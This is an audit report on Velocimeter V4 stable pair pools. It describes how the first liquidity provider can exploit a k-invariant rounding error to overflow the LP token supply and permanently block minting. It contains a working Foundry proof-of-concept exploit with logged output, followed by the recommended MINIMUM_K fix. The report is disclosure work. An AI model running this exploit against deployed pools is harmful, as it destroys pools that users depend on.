Polite Butter Gazelle

High

# First Liquidity Provider can DoS stable pair pools by exploiting rounding error

## Summary

The `Velocimeter` protocol was initially a `Velodrome V1` fork, which utilizes `x3y+y3x = k` AMM. This formula is useful for stablecoin swaps due to the reduced slippage and liquidity efficiency. However, there is a known issue with the `k invariant` calculation that this protocol uses, where the first LP can exploit a rounding issue such that `k = 0`, allowing excessive minting until the `totalSupply` overflows, causing permanent DoS of stable pair pools.

This was found in a recent [Spearbit audit](https://velodrome.finance/security#:~:text=The%20Spearbit%20audit%20completed%20on%2016th%20of%20June%2C%202023) of the `Velodrome` protocol. Although it [states](https://velodrome.finance/security#:~:text=The%20Spearbit%20audit%20completed%20on%2016th%20of%20June%2C%202023%20and%20the%20report%20was%20published%20on%2017th%20of%20July%2C%202023%20after%20it%20has%20been%20shared%20with%20Velodrome%20v1%20forks.) that these findings were shared with `Velodrome V1` forks, this issue still exists in `Velocimeter V4`.

## Vulnerability Detail

During swaps, the following `require` statement checks if the `invariant k` holds

[Pair.sol#L328-L329](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L328-L329)
```javascript
    // The curve, either x3y+y3x for stable pools, or x*y for volatile pools
    require(_k(_balance0, _balance1) >= _k(_reserve0, _reserve1), 'K'); // Pair: K
```

The function `_k` utilizes the `x3y+y3x` curve for stable pairs

[Pair.sol#L403-L413](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L403-L413)
```javascript
    function _k(uint x, uint y) internal view returns (uint) {
        if (stable) {
            uint _x = x * 1e18 / decimals0;
            uint _y = y * 1e18 / decimals1;
@>          uint _a = (_x * _y) / 1e18;
            uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
@>          return _a * _b / 1e18;  // x3y+y3x >= k
        } else {
            return x * y; // xy >= k
        }
    }
```

We can observe an issue here with the calculation of `_a`. If `(_x * _y) < 1e18`, then the value of `_a` will round down to 0. `k = _a * _b / 1e18` will then be equal to 0.

This allows the first LP to carry out the following exploit:

1. Provide a small amount of liquidity to the pool, such that `x * y < 1e18`.
2. Perform the swap operation to drain the pool, which will pass the `require(_k(_balance0, _balance1) >= _k(_reserve0, _reserve1), 'K')` check since `k=0`.
3. Repeat the above steps enough times so that the `totalSupply` of LP tokens overflows.

After the above steps are executed, if anyone attempts to mint liquidity to the pool, it will revert due to overflow.

> <strong style = "margin-left: 4px">Note:</strong>
>
>Although the mint function is taken from `Uniswap V2`, which has `sqrt(a * b) > MINIMUM_LIQUIDITY` check, this does not protect the invariant formula for stable pair pools.

## Proof of Concept

<details>
<summary>Coded PoC</summary>
<br>

Add the following to `test/Pair.t.sol` and run `forge test --mt testDestroyPair -vv`

```javascript
    function drainPair(Pair pair, uint initialFraxAmount, uint initialDaiAmount) internal {
        DAI.transfer(address(pair), 1);
        uint amount0;
        uint amount1;

        if (address(DAI) < address(FRAX)) {
        amount0 = 0;
        amount1 = initialFraxAmount - 1;
        } else {
        amount1 = 0;
        amount0 = initialFraxAmount - 1;
        }

        pair.swap(amount0, amount1, address(this), new bytes(0));
        FRAX.transfer(address(pair), 1);

        if (address(DAI) < address(FRAX)) {
        amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
        amount1 = 0;
        } else {
        amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1
        amount0 = 0;
        }

        pair.swap(amount0, amount1, address(this), new bytes(0));
    }
    function testDestroyPair() public {
        votingEscrowMerge();
        deployOwners();
        deployCoins();
        deal(address(DAI), address(this), 100 ether);
        deal(address(FRAX), address(this), 100 ether);
        
        vm.startPrank(owners[0], owners[0]);
        deployPairFactoryAndRouter();
        deployVoter();
        Pair pair = Pair(factory.createPair(address(DAI), address(FRAX), true));
        vm.stopPrank();

        for(uint i = 0; i < 10; i++) {
            DAI.transfer(address(pair), 10_000_000);
            FRAX.transfer(address(pair), 10_000_000);
            // as long as 10_000_000^2 < 1e18
            uint liquidity = pair.mint(address(this));
            console.log("pair:", address(pair), "liquidity:", liquidity);
            console.log("total liq:", pair.balanceOf(address(this)));
            drainPair(pair, FRAX.balanceOf(address(pair)) , DAI.balanceOf(address(pair)));
            console.log("DAI balance:", DAI.balanceOf(address(pair)));
            console.log("FRAX balance:", FRAX.balanceOf(address(pair)));
            require(DAI.balanceOf(address(pair)) == 1, "should drain DAI balance");
            require(FRAX.balanceOf(address(pair)) == 2, "should drain FRAX balance");
        }

        DAI.transfer(address(pair), 1 ether);
        FRAX.transfer(address(pair), 1 ether);
        vm.expectRevert();
        pair.mint(address(this)); // will revert due to overflow of totalSupply
    }
```
</details>

### Console Output

```text
Running 1 test for test/Pair.t.sol:PairTest
[PASS] testDestroyPair() (gas: 55811995)
Logs:
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 9999000
  total liq: 9999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 50000000000000
  total liq: 50000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 250000050000000000000
  total liq: 250000100000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 1250000500000050000000000000
  total liq: 1250000750000150000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 6250003750000750000050000000000000
  total liq: 6250005000001500000200000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 31250025000007500001000000050000000000000
  total liq: 31250031250012500002500000250000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 156250156250062500012500001250000050000000000000
  total liq: 156250187500093750025000003750000300000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 781250937500468750125000018750001500000050000000000000
  total liq: 781251093750656250218750043750005250000350000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 3906255468753281251093750218750026250001750000050000000000000
  total liq: 3906256250004375001750000437500070000007000000400000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x16B791C4D412bF964ccDAb775e72A4a094064C14 liquidity: 19531281250021875008750002187500350000035000002000000050000000000000
  total liq: 19531285156278125013125003937500787500105000009000000450000009999000
  DAI balance: 1
  FRAX balance: 2

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.66ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact

Permanent DoS of stable pair pools.

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L328-L329

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L403-L413

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L250

## Tool used

Manual Review

## Recommendation

`Velodrome Finance` [fixed this issue](https://github.com/velodrome-finance/contracts/commit/59f9c135ccf7685af81f021918c879b21c2c5f04) by introducing a `MINIMUM_K = 10**10` that stable pair pool deposits must adhere to, and ensuring that stable pair deposits must be equal. Consider making the same changes:

```diff
contract Pair is IPair {

    string public name;
    string public symbol;
    uint8 public constant decimals = 18;

    // Used to denote stable or volatile pair, not immutable since construction happens in the initialize method for CREATE2 deterministic addresses
    bool public immutable stable;

    uint public totalSupply = 0;

    mapping(address => mapping (address => uint)) public allowance;
    mapping(address => uint) public balanceOf;

    bytes32 internal DOMAIN_SEPARATOR;
    // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
    bytes32 internal constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
    mapping(address => uint) public nonces;

    uint internal constant MINIMUM_LIQUIDITY = 10**3;
+   uint256 internal constant MINIMUM_K = 10**10;

    address public immutable token0;
    address public immutable token1;
    address immutable factory;
    address public externalBribe;
    address public voter;
    bool public hasGauge;
```

```diff
    function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
+           if (stable) {
+           require((_amount0 * 1e18) / decimals0 == (_amount1 * 1e18) / decimals1, "Pair: stable deposits must be equal");
+           require(_k(_amount0, _amount1) > MINIMUM_K, "Pair: stable deposits must be above minimum k");
+           }
        } else {
            liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 * _totalSupply / _reserve1);
        }
        require(liquidity > 0, 'ILM'); // Pair: INSUFFICIENT_LIQUIDITY_MINTED
        _mint(to, liquidity);

        _update(_balance0, _balance1, _reserve0, _reserve1);
        emit Mint(msg.sender, _amount0, _amount1);
    }
```